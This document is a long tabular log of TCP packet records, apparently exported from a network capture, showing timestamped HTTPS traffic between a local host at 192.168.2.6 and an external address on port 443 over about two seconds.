Dec 18, 2024 13:35:38.994477034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.994492054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.994508982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.999298096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.999325037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.999387980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:38.999409914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:38.999449015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.005198956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.005227089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.005307913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.005326033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.005363941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.011214018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.011239052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.011301041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.011323929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.011358976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.016590118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.016612053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.016678095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.016693115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.016715050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.016733885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.026160955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.026185036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.026251078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.026272058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.026309967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.053769112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.053806067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.053874969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.053898096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.053936005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.159625053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.159648895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.159729004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.159749985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.159806967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.186326981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.186345100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.186398029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.186414003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.186431885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.186459064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.191329956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.191346884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.191392899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.191401005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.191440105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.214337111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.214353085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.214421988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.214432001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.214493990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.215529919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.215544939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.215604067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.215610981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.215655088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.216378927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.216394901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.216494083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.216500998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.216542006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.219155073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.219172001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.219264030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.219273090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.219331026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.245992899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.246014118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.246068001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.246077061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.246102095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.246133089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.352135897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.352155924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.352207899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.352224112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.352241039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.352263927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.378362894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.378379107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.378426075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.378437042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.378460884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.378530979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.384027958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.384043932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.384098053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.384114981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.384151936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.389364004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.389379025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.389420986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.389431000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.389462948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.389478922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.395153999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.395169973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.395210028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.395219088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.395241976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.395257950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.400234938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.400249958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.400296926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.400307894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.400335073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.400348902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.410789013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.410805941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.410868883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.410892010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.410928011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.437964916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.437980890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.438051939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.438083887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.438133955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.544260979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.544284105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.544342041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.544378042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.544394016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.544476986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.570353031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.570432901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.570453882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.570473909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.570492029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.570512056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.576222897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.576273918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.576297998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.576308012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.576325893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.576343060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.582385063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.582433939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.582458019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.582467079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.582492113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.582506895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.587111950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.587179899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.587192059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.587202072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.587235928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.592900991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.592951059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.592968941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.592983961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.593005896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.593027115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.603538990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.603589058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.603622913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.603657007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.603671074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.603696108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.630702019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.630728006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.630768061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.630795956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.630812883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.630830050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.736491919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.736521959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.736586094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.736613035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.736628056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.739908934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.763309956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.763344049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.763392925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.763417006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.763431072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.763458967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.768984079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.769001007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.769084930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.769100904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.769150019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.774710894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.774729013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.774770975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.774786949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.774801016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.774821043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.780036926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.780081034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.780153036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.780174017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.780186892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.780211926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.791095972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.791119099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.791186094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.791218042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.791229963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.791898012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.795996904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.796014071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.796215057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.796251059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.796300888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.924052000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.924113989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.924163103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.924186945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.924216986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.924248934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.928742886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.928787947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.928869963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.928878069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.928978920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.956135988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.956182957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.956355095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.956365108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.956412077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.961975098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.962018013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.962094069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.962100983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.962192059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.966975927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.966993093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.967101097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.967108965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.967168093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.972887039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.972906113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.973014116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.973023891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.973078966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.983606100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.983633041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.983746052 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.983757019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.983815908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.988401890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.988419056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.988528013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:39.988537073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:39.988590956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.116204023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.116225958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.116303921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.116338968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.116384983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.120791912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.120807886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.120857954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.120872974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.120913982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.148361921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.148381948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.148430109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.148469925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.148484945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.148799896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.153429985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.153445959 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.153503895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.153517008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.153546095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.153563976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.159271955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.159287930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.159347057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.159359932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.159368992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.159414053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.165061951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.165077925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.165132999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.165144920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.165184975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.175679922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.175694942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.175769091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.175786018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.175827026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.180388927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.180404902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.180449009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.180459976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.180493116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.180516005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.308254004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.308278084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.308326960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.308376074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.308392048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.308754921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.312963009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.312985897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.313045979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.313067913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.313092947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.313112020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.340555906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.340576887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.340636015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.340661049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.340706110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.346342087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.346365929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.346398115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.346406937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.346443892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.346460104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.351558924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.351574898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.351646900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.351659060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.351697922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.357366085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.357383966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.357423067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.357439041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.357470989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.357480049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.368021965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.368069887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.368141890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.368156910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.368185043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.368210077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.372565985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.372632980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.372765064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.372832060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:40.500550032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.500580072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:40.500616074 CET	49728	443	192.168.2.6	118.107.29.172
